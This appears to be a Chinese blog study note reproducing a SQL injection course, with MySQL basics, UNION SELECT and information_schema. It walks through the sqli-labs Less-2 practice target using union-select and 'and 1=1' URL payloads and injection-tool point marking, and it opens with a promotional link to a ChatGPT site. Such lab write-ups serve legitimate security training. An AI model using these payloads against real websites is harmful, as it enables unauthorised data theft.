此时分享一个人工智能可以编写调试计算机程序的网站
https://chat.yinas.cn/#/chat/1002
ChatGPT的应用场景还包括:用来开发聊天机器人,也可以编写和调试计算机程序,还可以进行文学、媒体相关领域的创作,包括创作音乐、电视剧、童话故事、诗歌和歌词等。在某些测试情境下,ChatGPT在教育、考试、回答测试问题方面的表现甚至优于普通人类测试者。ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。
如:
sql相关知识点
sql语句(注意mysql搜索语句区分大小写,可以进行相关设置)
相关链接:https://blog.csdn.net/zzvar/article/details/115675248
创建数据库
create database 数据库名;
删除数据库
drop database 数据库名;
删除新表
drop table 表名;
展示数据库列表
show databases;
展示当前数据库下的所有数据表
show tables;
展示当前表下的指定列数据
select * from 指定表名 where id=x limit a,b;(或者limit 1)
select xxxx from security.users(假设要从security数据库的users表中获取数据)
sql中的limit用法
limit n,m 中的第一次参数n表示的游标的偏移量,初始值为0,第二个参数m表示的是想要获取多少条数据。 所以limit 0,1表示的是从第一条记录开始,只取一条即可。 limit 1表示的也是只取一条数据,也就是说limit 0,1从结果上来说是等价与limit 1。
例:limit 0,1就是从第0行开始往下取1行的数据,等价于limit 1
limit a,b就是从第a行下的一行开始取到第b行的数据,而limit a就是取从0行往下取到第a行的数据
示例:
uesrs表下的数据
sql中的select用法
select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组
select 字段 form 表名;
如:
该语句的作用是:查询当前数据库下的users数据表中的user字段和password字段的所有内容,并且返回这两个字段的结果。
select 数字 from 表名;
返回表的列数是等于我们输入的数字个数的,而行数与原数据库表的结构保持一致
如:
我们用 select * from users; 来查看users表下的所有数据
任意输入数字,可知返回表的列数是等于我们输入的数字个数的,而行数与原数据库表的结构保持一致,行数一定等于真实的数据库所有的行数。
原文链接:https://blog.csdn.net/weixin_44840696/article/details/89166154
sql中的union select用法
用来合并两个或多个select语句的结果集,union select只能查询两个表中共同都有的字段,如果一个字段在另外一个表中没有,就会报错
select 指定字段 from 指定表名 union select 特定字段 from 特定表名;
如:
因为email表里只有id字段,users表里有username和password字段,两个表没有共同字段,所以联合查询会报错。
不报错的情况有:
用Mysql-front在email表中建立了个新的字段,使得email表和users表有了共同的字段password
相关链接:https://blog.csdn.net/qq_44159028/article/details/114820256
用MySQL-front建立新的数据库的方法:https://blog.csdn.net/qq_30532777/article/details/106081526
MySQL数据库
数据库A=网站A
表名
列名
数据
数据库B=网站B
......
数据库C=网站C
.....
知识点:
在MySQL 5.0 以上版本中,MySQL存在一个自带数据库名为 information_schema , 它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
数据库中符号 " . ”代表下一级,例如 xxx.user 表示 xxx 数据库下的 user 表名。
information_schema.tables : 记录所有表名信息的表
information_schema.columns : 记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
以BUUCTF中的题为例,在练习场中找到Basic,启动sqli-labs的靶场
点击SQLi -LABS Page-1(Basic Challenges)
点击Less-2进入到该界面
或者用墨者学院
当然我们也可以自己搭建一个sql-labs,详情见
https://blog.csdn.net/baidu_35297930/article/details/89096283
在phpstudy的www目录下找到sql-labs的Less2文件,用notepad打开查看index.php
我们称这''ID''为网站的参数名,limit是0,1代表输出0到1行的内容
进入到我们自己搭建的sql-labs网站中
输入 index.php?id=1 可以看到登录的用户名和密码
通过改写源代码,当这个变量传入1的值时,可以输出$sql,此时再刷新,就出现了如下页面
当然我这里有关于为什么id=1的疑惑
于是我用Mysql-front连接本地数据库中的security,因为sql-labs的数据库名就是security
这是在sql-labs目录下查看得到数据库名字dbname=security
查看security下的users目录,用数据浏览器查看,可知id范围为1-14,即输入范围之外的值赋予id,数据库会因为搜索不到数据报错从而不会回显
打开phpstudy,在设置中找到文件位置
点击MySQL进入到bin目录,shift+右键选择在终端中打开
或者
在cmd界面中输入 mysql.exe -u root -p 进入到mysql命令行中
输入show databases; 展示所有数据库列表
每一个数据库都对应一个网站
上面已经说过因为在sql-labs目录下查看得到数据库名字为dbname=security,
所以这里我们使用security数据库
ues security; 使用security数据库
show tables; 展示当前security数据库下的所有表
select * from users; 展示当前users表下的所有信息;
id username password为列名,Dumb等为数据,*为列出所有
select username from users;指定获取users表下的username列名下的数据
exit 退出
重新连接
mysql.exe -uroot -proot 重新连接
root和root是mysql的默认账户和密码,如果修改了就写自己修改后的
select * from users where id=1 limit 0,1; 查看users表名下的指定列名数据
select * from users where id=2 union select 1,2,3 from emails limit 0,2;
select * from users where id=-2 union select 1,2,3 from emails limit 0,2;
select * from users where id=-2 union select 1,email_id,3 from emails limit 0,1;
对应到网页上
index.php?id=2
index.php?id=-2
index.php?id=2 union select 1,email_id,3 from emails
index.php?id=-2 union select 1,email_id,3 from emails
可控变量,代入数据库查询,变量不存在过滤或过滤不严谨
可能存在注入:
/index.php?id=1
/?id=2
/?id=1 & x=2
/index.php
参数x有注入,&为连接两个参数,注入语句需在注入点后
index.php? y=1 & x=2 and 1=1
index.php? y=1 and 1=1 & x=2 and 1=1
例:
index.php? y=1 & x=2
如果y参数存在注入,注入语句应为如下
index.php? y=1 and 1=12 & x=2
或者将x和y互换位置
index.php? x=2 & y=1 and 1=1
若用注入工具进行sql注入时,若y参数存在注入,不标明注入点,会默认将注入语句加到末尾
index.php? y=1 & x=2
故,应
index.php? y=1* & x=2
文章基于小迪sql注入课的复现